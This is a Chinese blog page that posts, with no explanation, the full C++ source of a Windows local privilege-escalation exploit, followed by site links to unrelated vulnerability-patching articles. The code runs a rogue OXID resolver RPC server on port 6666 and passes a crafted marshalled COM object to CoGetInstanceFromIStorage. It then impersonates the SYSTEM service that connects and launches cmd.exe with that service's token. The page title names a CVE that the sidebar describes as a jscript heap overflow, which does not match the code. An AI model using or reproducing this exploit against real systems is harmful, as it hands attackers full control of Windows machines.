CVE-2017-11907

最新推荐文章于 2023-11-20 15:52:29 发布
最新推荐文章于 2023-11-20 15:52:29 发布
阅读量396 收藏
点赞数 1
始于C#，精于C&C++，醉心于Windows内核与Com组件安全研究
本文链接：https://blog.csdn.net/oShuangYue12/article/details/81416899
版权 
// OxidResolver.cpp : Defines the entry point for the console application.
//

#pragma once

//#include "targetver.h"

#define RPC_USE_NATIVE_WCHAR

#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include "resolver_h.h"

//#include <comdef.h>

#pragma comment(lib, "rpcrt4.lib")

void DebugLog(const char* message) {
    OutputDebugString(message);
    //MessageBox(0, message, "Debug!", 0);
};

void DebugLog(const wchar_t* message) {
    OutputDebugStringW(message);
    //MessageBoxW(0, message, L"Debug!", 0);
};


extern "C" void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len)
{
    return(HeapAlloc(GetProcessHeap(), 0, len));
}

extern "C" void __RPC_USER midl_user_free(void __RPC_FAR * ptr)
{
    HeapFree(GetProcessHeap(), 0, ptr);
}

extern "C" /* [idempotent] */ error_status_t ResolveOxid(
    /* [in] */ handle_t hRpc,
    /* [in] */ OXID *pOxid,
    /* [in] */ unsigned short cRequestedProtseqs,
    /* [size_is][ref][in] */ unsigned short arRequestedProtseqs[],
    /* [ref][out] */ DUALSTRINGARRAY **ppdsaOxidBindings,
    /* [ref][out] */ IPID *pipidRemUnknown,
    /* [ref][out] */ DWORD *pAuthnHint)
{
    return E_FAIL;
}

extern "C" /* [idempotent] */ error_status_t SimplePing(
    /* [in] */ handle_t hRpc,
    /* [in] */ SETID *pSetId)
{
    return S_OK;
}

extern "C" /* [idempotent] */ error_status_t ComplexPing(
    /* [in] */ handle_t hRpc,
    /* [out][in] */ SETID *pSetId,
    /* [in] */ unsigned short SequenceNum,
    /* [in] */ unsigned short cAddToSet,
    /* [in] */ unsigned short cDelFromSet,
    /* [size_is][unique][in] */ OID AddToSet[],
    /* [size_is][unique][in] */ OID DelFromSet[],
    /* [out] */ unsigned short *pPingBackoffFactor)
{
    DebugLog("ComplexPing\n");
    return E_FAIL;
}

extern "C" /* [idempotent] */ error_status_t ServerAlive(
    /* [in] */ handle_t hRpc)
{
    DebugLog("ServerAlive\n");
    return S_OK;
}

extern "C" /* [idempotent] */ error_status_t ResolveOxid2(
    /* [in] */ handle_t hRpc,
    /* [in] */ OXID *pOxid,
    /* [in] */ unsigned short cRequestedProtseqs,
    /* [size_is][ref][in] */ unsigned short arRequestedProtseqs[],
    /* [ref][out] */ DUALSTRINGARRAY **ppdsaOxidBindings,
    /* [ref][out] */ IPID *pipidRemUnknown,
    /* [ref][out] */ DWORD *pAuthnHint,
    /* [ref][out] */ COMVERSION *pComVersion)
{

    DebugLog("ResolveOxid2\n");
    return E_FAIL;
}

extern "C" /* [idempotent] */ error_status_t ServerAlive2(
    /* [in] */ handle_t hRpc,
    /* [ref][out] */ COMVERSION *pComVersion,
    /* [ref][out] */ DUALSTRINGARRAY **ppdsaOrBindings,
    /* [ref][out] */ DWORD *pReserved)
{
    DebugLog("ServerAlive2\n");
    return E_FAIL;
}

HRESULT WriteData(IStream* stm, const void* data, int len)
{
    return stm->Write(data, len, nullptr);
}

void do_error(RPC_STATUS status)
{
    DebugLog("Error. ");
    ExitProcess(1);
}

LPWSTR g_cmdline;

RPC_STATUS CALLBACK SecurityCallback(
    _In_ RPC_IF_HANDLE Interface,
    _In_ void          *Context
)
{
    DebugLog("Callback\n");
    if (g_cmdline && RpcImpersonateClient(Context) == RPC_S_OK)
    {
        DebugLog("Impersonated: ..."); // %d\n", GetCurrentThreadId());

        HANDLE hToken;
        if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken)) {
            DebugLog("OpenThreadToken failed");
            /*
            DWORD err = GetLastError();
            char buf[200];
            wsprintf(buf, "GetLastError returns %08.08lx", err);
            DebugLog(buf);
            return RPC_S_OK;*/
        }
        STARTUPINFOW start_info = {};
        start_info.cb = sizeof(start_info);
        start_info.lpDesktop = L"Service-0x0-3e7$\\Default";
        PROCESS_INFORMATION proc_info = {};

        //DebugLog("About to issue");
        //MessageBoxW(0, g_cmdline, g_cmdline, 0);
        g_cmdline = L"C:\\Windows\\System32\\cmd.exe";
        //MessageBoxW(0, g_cmdline, g_cmdline, 0);

        bool result = CreateProcessWithTokenW(hToken, 0, nullptr, g_cmdline, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info);
        if (!result) {
            DebugLog("CreateProcessWithTokenW fails");
            /*DWORD err = GetLastError();
            char buf[200];
            wsprintf(buf, "GetLastError returns %08.08lx", err);
            DebugLog(buf);
            return RPC_S_OK;*/
        }
        else {
            DebugLog("CreateProcessWithTokenW success");
        }
        RpcRevertToSelf();
        ExitProcess(0);
    }
    return RPC_S_OK;
}

unsigned char marshal_data[112] = {
    0x4D, 0x45, 0x4F, 0x57, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x13, 0xB2, 0x01, 0x5E,
    0x8A, 0xB9, 0x70, 0xB9, 0x7C, 0x32, 0xA4, 0xE5, 0x53, 0xF6, 0x3D, 0xC9,
    0x79, 0xB5, 0x87, 0x56, 0x45, 0xDC, 0x12, 0x49, 0x20, 0xE5, 0x91, 0x55,
    0x26, 0x06, 0x28, 0x0E, 0x16, 0x00, 0x12, 0x00, 0x07, 0x00, 0x31, 0x00,
    0x32, 0x00, 0x37, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00,
    0x2E, 0x00, 0x31, 0x00, 0x5B, 0x00, 0x36, 0x00, 0x36, 0x00, 0x36, 0x00,
    0x36, 0x00, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x00, 0xFF, 0xFF,
    0x00, 0x00, 0x00, 0x00
};


class FakeComObject : public IMarshal, public IStorage
{
private:
    ULONG _ref_count;
    IStorage* _stg;

public:

    FakeComObject(IStorage* stg) 
        : _ref_count(1), _stg(stg)
    {
    }

    virtual HRESULT STDMETHODCALLTYPE QueryInterface(
        /* [in] */ REFIID riid,
        /* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject) {
        *ppvObject = nullptr;

        if (IsEqualIID(riid, IID_IUnknown))
        {
            *ppvObject = this;
        }
        else if (IsEqualIID(riid, IID_IMarshal))
        {
            *ppvObject = static_cast<IMarshal*>(this);
        }
        else if (IsEqualIID(riid, IID_IStorage))
        {
            *ppvObject = static_cast<IStorage*>(this);
        }
        else
        {
            return E_NOINTERFACE;
        }

        static_cast<IUnknown*>(*ppvObject)->AddRef();
        return S_OK;
    }

    virtual ULONG STDMETHODCALLTYPE AddRef(void) {
        return InterlockedIncrement(&_ref_count);
    }

    virtual ULONG STDMETHODCALLTYPE Release(void) {
        ULONG value = InterlockedDecrement(&_ref_count);
        if (value == 0)
        {
            delete this;
        }
        return value;
    }

    virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
        /* [annotation][in] */
        _In_  REFIID riid,
        /* [annotation][unique][in] */
        _In_opt_  void *pv,
        /* [annotation][in] */
        _In_  DWORD dwDestContext,
        /* [annotation][unique][in] */
        _Reserved_  void *pvDestContext,
        /* [annotation][in] */
        _In_  DWORD mshlflags,
        /* [annotation][out] */
        _Out_  CLSID *pCid)
    {
        return IIDFromString(L"{00000306-0000-0000-c000-000000000046}", pCid);
    }

    virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
        /* [annotation][in] */
        _In_  REFIID riid,
        /* [annotation][unique][in] */
        _In_opt_  void *pv,
        /* [annotation][in] */
        _In_  DWORD dwDestContext,
        /* [annotation][unique][in] */
        _Reserved_  void *pvDestContext,
        /* [annotation][in] */
        _In_  DWORD mshlflags,
        /* [annotation][out] */
        _Out_  DWORD *pSize)
    {
        *pSize = 1024;
        return S_OK;
    }

    virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
        /* [annotation][unique][in] */
        _In_  IStream *pStm,
        /* [annotation][in] */
        _In_  REFIID riid,
        /* [annotation][unique][in] */
        _In_opt_  void *pv,
        /* [annotation][in] */
        _In_  DWORD dwDestContext,
        /* [annotation][unique][in] */
        _Reserved_  void *pvDestContext,
        /* [annotation][in] */
        _In_  DWORD mshlflags)
    {
        return WriteData(pStm, marshal_data, sizeof(marshal_data));
    }

    virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
        /* [annotation][unique][in] */
        _In_  IStream *pStm,
        /* [annotation][in] */
        _In_  REFIID riid,
        /* [annotation][out] */
        _Outptr_  void **ppv)
    {
        return E_FAIL;
    }

    virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
        /* [annotation][unique][in] */
        _In_  IStream *pStm)
    {
        return S_OK;
    }

    virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
        /* [annotation][in] */
        _In_  DWORD dwReserved)
    {
        return S_OK;
    }

    virtual HRESULT STDMETHODCALLTYPE CreateStream(
        /* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
        /* [in] */ DWORD grfMode,
        /* [in] */ DWORD reserved1,
        /* [in] */ DWORD reserved2,
        /* [out] */ __RPC__deref_out_opt IStream **ppstm)
    { 
        return _stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm);
    }

    virtual /* [local] */ HRESULT STDMETHODCALLTYPE OpenStream(
        /* [annotation][string][in] */
        _In_z_  const OLECHAR *pwcsName,
        /* [annotation][unique][in] */
        _Reserved_  void *reserved1,
        /* [in] */ DWORD grfMode,
        /* [in] */ DWORD reserved2,
        /* [annotation][out] */
        _Outptr_  IStream **ppstm) {
        return _stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm);
    }

    virtual HRESULT STDMETHODCALLTYPE CreateStorage(
        /* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
        /* [in] */ DWORD grfMode,
        /* [in] */ DWORD reserved1,
        /* [in] */ DWORD reserved2,
        /* [out] */ __RPC__deref_out_opt IStorage **ppstg){ return _stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg); }

    virtual HRESULT STDMETHODCALLTYPE OpenStorage(
        /* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName,
        /* [unique][in] */ __RPC__in_opt IStorage *pstgPriority,
        /* [in] */ DWORD grfMode,
        /* [unique][in] */ __RPC__deref_opt_in_opt SNB snbExclude,
        /* [in] */ DWORD reserved,
        /* [out] */ __RPC__deref_out_opt IStorage **ppstg){ return _stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg); }

    virtual /* [local] */ HRESULT STDMETHODCALLTYPE CopyTo(
        /* [in] */ DWORD ciidExclude,
        /* [annotation][size_is][unique][in] */
        _In_reads_opt_(ciidExclude)  const IID *rgiidExclude,
        /* [annotation][unique][in] */
        _In_opt_  SNB snbExclude,
        /* [annotation][unique][in] */
        _In_  IStorage *pstgDest){ return _stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest); }

    virtual HRESULT STDMETHODCALLTYPE MoveElementTo(
        /* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
        /* [unique][in] */ __RPC__in_opt IStorage *pstgDest,
        /* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName,
        /* [in] */ DWORD grfFlags){ return _stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags); }

    virtual HRESULT STDMETHODCALLTYPE Commit(
        /* [in] */ DWORD grfCommitFlags){ return _stg->Commit(grfCommitFlags); }

    virtual HRESULT STDMETHODCALLTYPE Revert(void){ return E_FAIL; }

    virtual /* [local] */ HRESULT STDMETHODCALLTYPE EnumElements(
        /* [annotation][in] */
        _Reserved_  DWORD reserved1,
        /* [annotation][size_is][unique][in] */
        _Reserved_  void *reserved2,
        /* [annotation][in] */
        _Reserved_  DWORD reserved3,
        /* [annotation][out] */
        _Outptr_  IEnumSTATSTG **ppenum){ return _stg->EnumElements(reserved1, reserved2, reserved3, ppenum); }

    virtual HRESULT STDMETHODCALLTYPE DestroyElement(
        /* [string][in] */ __RPC__in_string const OLECHAR *pwcsName){ return _stg->DestroyElement(pwcsName); }

    virtual HRESULT STDMETHODCALLTYPE RenameElement(
        /* [string][in] */ __RPC__in_string const OLECHAR *pwcsOldName,
        /* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName){ return _stg->RenameElement(pwcsOldName, pwcsNewName); }

    virtual HRESULT STDMETHODCALLTYPE SetElementTimes(
        /* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName,
        /* [unique][in] */ __RPC__in_opt const FILETIME *pctime,
        /* [unique][in] */ __RPC__in_opt const FILETIME *patime,
        /* [unique][in] */ __RPC__in_opt const FILETIME *pmtime){ return _stg->SetElementTimes(pwcsName, pctime, patime, pmtime); }

    virtual HRESULT STDMETHODCALLTYPE SetClass(
        /* [in] */ __RPC__in REFCLSID clsid){ return _stg->SetClass(clsid); }

    virtual HRESULT STDMETHODCALLTYPE SetStateBits(
        /* [in] */ DWORD grfStateBits,
        /* [in] */ DWORD grfMask){ return _stg->SetStateBits(grfStateBits, grfMask); }

    virtual HRESULT STDMETHODCALLTYPE Stat(
        /* [out] */ __RPC__out STATSTG *pstatstg,
        /* [in] */ DWORD grfStatFlag)
    { 

        HRESULT hr = _stg->Stat(pstatstg, grfStatFlag); 
        if (SUCCEEDED(hr))
        {
            LPVOID buf = CoTaskMemAlloc(4);
            CopyMemory(buf, L"a\0", 4);

            pstatstg->pwcsName = (LPOLESTR)buf;
        }
        return hr;
    }
};

void Check(HRESULT hr)
{
    if (FAILED(hr))
    {
        DebugLog("Check failed!\n");
    }
}

DWORD CALLBACK CallIntoCom(LPVOID event)
{
    WaitForSingleObject(nullptr, INFINITE);

    CoInitialize(nullptr);

    DebugLog("Starting COM client\n");

    ILockBytes* lb;
    Check(CreateILockBytesOnHGlobal(nullptr, TRUE, &lb));
    IStorage* stg;
    Check(StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg));
    IStorage* fake = new FakeComObject(stg);

    CLSID clsid;
    CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &clsid);

    MULTI_QI qis[1] = {};

    qis[0].pIID = &IID_IUnknown;

    DebugLog("About to launch CoGetInstanceFromIStorage\n");
    CoGetInstanceFromIStorage(nullptr, &clsid, nullptr, CLSCTX_LOCAL_SERVER, fake, 1, qis);
    DebugLog("COM client done\n");

    return 0;
}

int _WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) {
    int wchars_num = MultiByteToWideChar(CP_UTF8, 0, lpCmdLine, -1, NULL, 0);
    wchar_t* wstr = (wchar_t*) HeapAlloc(GetProcessHeap(), 0, wchars_num * 2 + 4);
    MultiByteToWideChar(CP_UTF8, 0, lpCmdLine, -1, wstr, wchars_num);

    g_cmdline = wstr;

    HANDLE ev = CreateEvent(nullptr, FALSE, FALSE, nullptr);
    CreateThread(nullptr, 0, CallIntoCom, ev, 0, nullptr);

    RPC_STATUS status;
    wchar_t * pszProtocolSequence = L"ncacn_ip_tcp";
    wchar_t * pszSecurity = NULL;
    wchar_t * pszEndpoint = L"6666";
    unsigned int  cMinCalls = 1;
    unsigned int  fDontWait = FALSE;

    RpcServerRegisterAuthInfo(nullptr, RPC_C_AUTHN_WINNT, nullptr, nullptr);

    status = RpcServerUseProtseqEpW(
        pszProtocolSequence,
        RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
        pszEndpoint,
        pszSecurity);

    if (status) do_error(status);

    status = RpcServerRegisterIf2(IObjectExporter_v0_0_s_ifspec,
        NULL,
        NULL,
        RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH | RPC_IF_SEC_NO_CACHE,
        RPC_C_LISTEN_MAX_CALLS_DEFAULT,
        -1, 
        SecurityCallback);

    if (status) do_error(status);

    status = RpcServerListen(cMinCalls,
        RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
        TRUE);

    if (status) do_error(status);

    SetEvent(ev);

    status = RpcMgmtWaitServerListen();
    if (status) do_error(status);

    return 0;
}

void* memcpy(void* dest, const void* source, size_t length) {
    char* foo = (char*)dest;
    char* src = (char*)source;
    for (int i = 0; i < length; ++i) {
        foo[i] = src[i];
    }
    return dest;
}

int memcmp(const void* s1A, const void* s2A, size_t n) {
    unsigned char u1, u2;
    const unsigned char* s1 = (const unsigned char*)s1A;
    const unsigned char* s2 = (const unsigned char*)s2A;

    for (; n--; s1++, s2++) {
        u1 = *(unsigned char *)s1;
        u2 = *(unsigned char *)s2;
        if (u1 != u2) {
            return (u1 - u2);
        }
    }
    return 0;
}

void* memset(void* ptr, int value, size_t num) {
    char* foo = (char*)ptr;
    for (int i = 0; i < num; ++i) {
        foo[i] = value;
    }
    return ptr;
}

extern "C" DWORD __CxxFrameHandler3(
    PEXCEPTION_RECORD rec,
    EXCEPTION_REGISTRATION_RECORD* ExceptionRegistrationFrame,
    PCONTEXT context,
    EXCEPTION_REGISTRATION_RECORD** _ExceptionRecord) {
    DebugBreak();
    return 0;
}

void * operator new(size_t n) {
    return(HeapAlloc(GetProcessHeap(), 0, n));
}

void __cdecl operator delete(void * p, size_t sz) {
    return;
    // TODO(thomasdullien): Be slightly less ghetto.
    //HeapFree(GetProcessHeap(), 0, p);
}
王cb
关注
记录一次漏洞修复，openssh安全漏洞（CVE-2017-15906）以及openssh用户枚举漏洞（CVE-2018-15919）内网openssh升级过程。
m0_37184307的博客
04-24 1万+
## 记录一次漏洞修复，openssh安全漏洞（CVE-2017-15906）以及openssh用户枚举漏洞（CVE-2018-15919）内网openssh升级过程。 在工作中偶然发现我的服务器两个漏洞，openssh安全漏洞（CVE-2017-15906）以及openssh用户枚举漏洞（CVE-2018-15919）上网查询资料得知是因为我的centos服务器ssh版本过低，从官网下载最新得...
openssh8.6升级修复（CVE-2020-15778）（CVE-2018-15919）（CVE-2017-15906）等漏洞
edonzhon
04-23 2465
相信很多企业都有遇到openssh漏洞，实在是很烦，我这边直接将redhat6和redhat7直接升至目前最新的openssh8.6p1（2020-4-19刚好更新） 好了接下来开始，修复的不止上面的漏洞，基本目前发现的都能修复，SCP的漏洞官网没有修复，所以把scp命令删除 一、下载软件包 https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/ 点击FTP 或者在Linux服务器直接用wget下载 ： wget https://cdn..
CVE-2017-11907:视窗
05-19
CVE-2017-11907 现在的aPAColypse：使用WPAD / PAC和JScript在本地网络中利用Windows 10 Windows：Array.sort中的jscript.dll中发生堆溢出
openSSH版本升级 安全漏洞修复CVE-2017-15906
qq_38896114的博客
07-08 5806
问题： 1.下载文件：wget "https://openbsd.hk/pub/OpenBSD/OpenSSH/portable/openssh-8.3p1.tar.gz" 2.解压：tar -zxvf openssh-8.3p1.tar.gz 3.cd openssh-8.3p1 4.停止服务：systemctl stop sshd 5.删除历史文件：yum remove openssh -y 6.安装依赖：yum install gcc openssl-devel zlib-devel 7.执行安
【centos7】openssh用户枚举漏洞（CVE-2018-15919）和安全漏洞（CVE-2017-15906）修复
shen12138的博客
06-13 6372
环境： 操作系统：centos7.7 openssl：OpenSSL 1.0.1e-fips（系统自带） openssh：OpenSSH_7.4.1p1（系统自带） 如果修复这两个漏洞需要升级openssh到8.1（而且我还没有升级openssl），反正我升级到8.0还是有一个漏洞没有被关闭。 查看了很多大佬的博客后，一直不敢升级，后来漏洞实在需要填补，就只能硬着头皮在测试环境中测试好后，在生产中执行，其中最重要的一步就是一定要做足准备，如果ssh不...
centos7 openssh版本升级（漏洞CVE-2018-15919，CVE-2017-15906修复）
ouyang_zhen的博客
08-11 1992
文章目录前言一、开启telnet登录1.安装telnet二、升级openssh-7.9pl1.安装所需环境和openssh 前言 升级原因：之所以升级是因为服务器被扫描出openssh漏洞 例如： 1.OpenSSH用户枚举漏洞（CNVD-2018-20962）(CVE-2018-15919)； 2.OpenSSH设计漏洞(CVE-2017-15906)； 3.OpenSSH <7.5； 一、开启telnet登录 由于是生产环境，直接升级存在隐患，万一升级失败会导致ssh登录不上服务器，顾先开启
openssh修复(CVE-2017-15906)(CVE-2018-15919)这两个漏洞
edonzhon
03-04 6363
修复以下漏洞 系统目前自带openssh是7.4升级至8.0即可
OpenSSH 安全漏洞(CVE-2018-15919)、(CVE-2018-15473)、(CVE-2017-15906)的ssh在线升级
狗剩儿的记忆博客
12-04 1996
文章目录附：升级log：一、查看现有的ssh的版本并升级到最新版本二、安装启动并配置telnet服务 | 防止ssh升级失败无法访问服务器三、升级ssh四、关闭telnet服务 # 前言 在做第三方安全漏洞扫描时，被发现有关OpenSSH 安全漏洞内容： OpenSSH 安全漏洞(CVE-2018-15919)： 受影响版本：• OpenSSH >=5.9&&<=7.8 OpenSSH 安全漏洞(CVE-2018-15473)： 受影响版本：• OpenSSH >=5.9
CentOS7 升级OpenSSH解决 CVE-2018-15473，CVE-2018-15919，CVE-2017-15906，CVE-2008-5161
大西瓜的博客
04-08 4941
CentOS7 升级OpenSSH解决，CVE-2018-15473，CVE-2018-15919，CVE-2017-15906，CVE-2008-5161 OpenSSH下载地址 #准备工作 cp -rp /etc/ssh /etc/ssh.bak yum install gcc zlib zlib-devel openssl-devel #解压安装包 tar -zxvf openssh-8.5p1.tar.gz #进入解压目录 cd openssh-8.0p1 #执行configure ./conf
渗透测试——漏洞扫描工具
最新发布
wuli1024的博客
11-20 1066
然后还要将all这个压缩包里的plugin_feed_info.inc提取出来，命令行是 tar -zxvf all-2.0.tar.gz plugin_feed_info.inc，然鹅，我提取不出来。将下载好的插件移动到Nessus目录下，然后输入sudo /opt/nessus/sbin/nessuscli update all-2.0.tar.gz。用户名和密码随便写写就好，随后将会更新补丁，OK，这样Nessus可以使用了。将会获得一串数字，然后去激活码的这个网站，输入自己的邮箱获取激活码。
Apache Tomcat安全漏洞列表及整改建议合集
热门推荐
story-xu的博客
08-08 1万+
描述： 安全整改目前已经成为安全运维工程师必备的技能之一，但是令人头疼的是，经常会应为一些整改问题，百度无数次，并且不知道标准是什么。下面就为大家总结了在近期web漏洞整改中，绿盟给出的漏洞报告及整改建议，方便大家参考与查找。 问题列表及整改建议列表： ...
Apache Tomcat安全漏洞列表以及修补建议
Keep learing, and stay fast
08-31 3735
Apache Tomcat安全漏洞列表
CVE-2015-2370漏洞成因分析
如鹿渴慕泉水的专栏
12-01 1032
###漏洞成因分析### 官方链接https://bugs.chromium.org/p/project-zero/issues/detail?id=325&amp;amp;amp;can=1&amp;amp;amp;q=dcom&amp;amp;amp;colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary 这个漏洞是一种DCOM DCE/...
COM实例化的两种方法：
cpongo5
04-29 190
创建COM对象（实例化COM类对象）的两种方法：1. 通过类工厂去完成。a. CoGetClassObjectProvides a pointer to an interface on a class object associated with a specified CLSID. CoGetClassObject locates, and if necessary, dynami...
rpc认证服务搭建
如鹿渴慕泉水的专栏
11-23 1122
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. #include "precomp.h" #include "rpc.h" #include "rpcutil.h" #include "ntdsapi.h" #define SECURITY_WIN32...
CVE-2017-15715漏洞复现
大方子
07-25 1万+
复现环境 docke apache 2.4.0到2.4.29即可 php5.5 复现过程 先在物理机上创建目录 mkdir -p /var/www/html 然后创建个容器，并关联物理机的/var/www/html目录 docker run -d -v /var/www/html:/var/www/html -p 8080:80 --name apache php...
Apache Tomcat漏洞 之 CVE-2017-12617
KingXai的专栏
12-13 8682
Apache Tomcat中发现的CVE-2017-12617严重远程代码执行（RCE）漏洞影响启用了HTTP PUT的系统（通过将默认servlet的“只读”初始化参数设置为“false”）受到影响。如果默认servlet的参数只读设置为false，或者配置了默认servlet，则在9.0.1（Beta），8.5.23，8.0.47和7.0.82之前的Tomcat版本在所有操作系统上包含潜在危险的
CVE-2017-5715,Spectre 变种2, 分支目标注入漏洞 修复
cocacola81的专栏
02-14 549
CVE编号: CVE-2017-5715,Spectre 变种2, 分支目标注入漏洞 修复 #修复命令 yum update iwl100-firmware yum update iwl1000-firmware yum update iwl105-firmware yum update iwl135-firmware yum update iwl2000-firmware yum updat...
centOS7.4中Wget高危漏洞 CVE-2017-13090 高危、CVE-2017-13089 高危
ky1in93的博客
04-27 3346
简介:GNU Wget是GNU计划开发的一套用于在网络上进行下载的自由软件，它支持通过HTTP、HTTPS以及FTP这三个最常见的TCP/IP协议下载。 GNU Wget 1.19.2之前的版本中存在缓冲区溢出漏洞。远程攻击者可利用该漏洞在受影响的应用程序上下文中执行任意代码或造成拒绝服务。 解决方案:请直接在漏洞处理页面，选择对应服务器和漏洞，生成修复命令后，登录到服务器上运行即可。使用命令：...
CVE-2017-7504
07-28
与CVE-2015-7501漏洞原理相似，但利用的路径不同，CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下。\[1\] 要利用CVE-2017-7504漏洞，可以按照以下步骤进行操作： 1. 访问靶场环境。 2. 使用CVE-...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值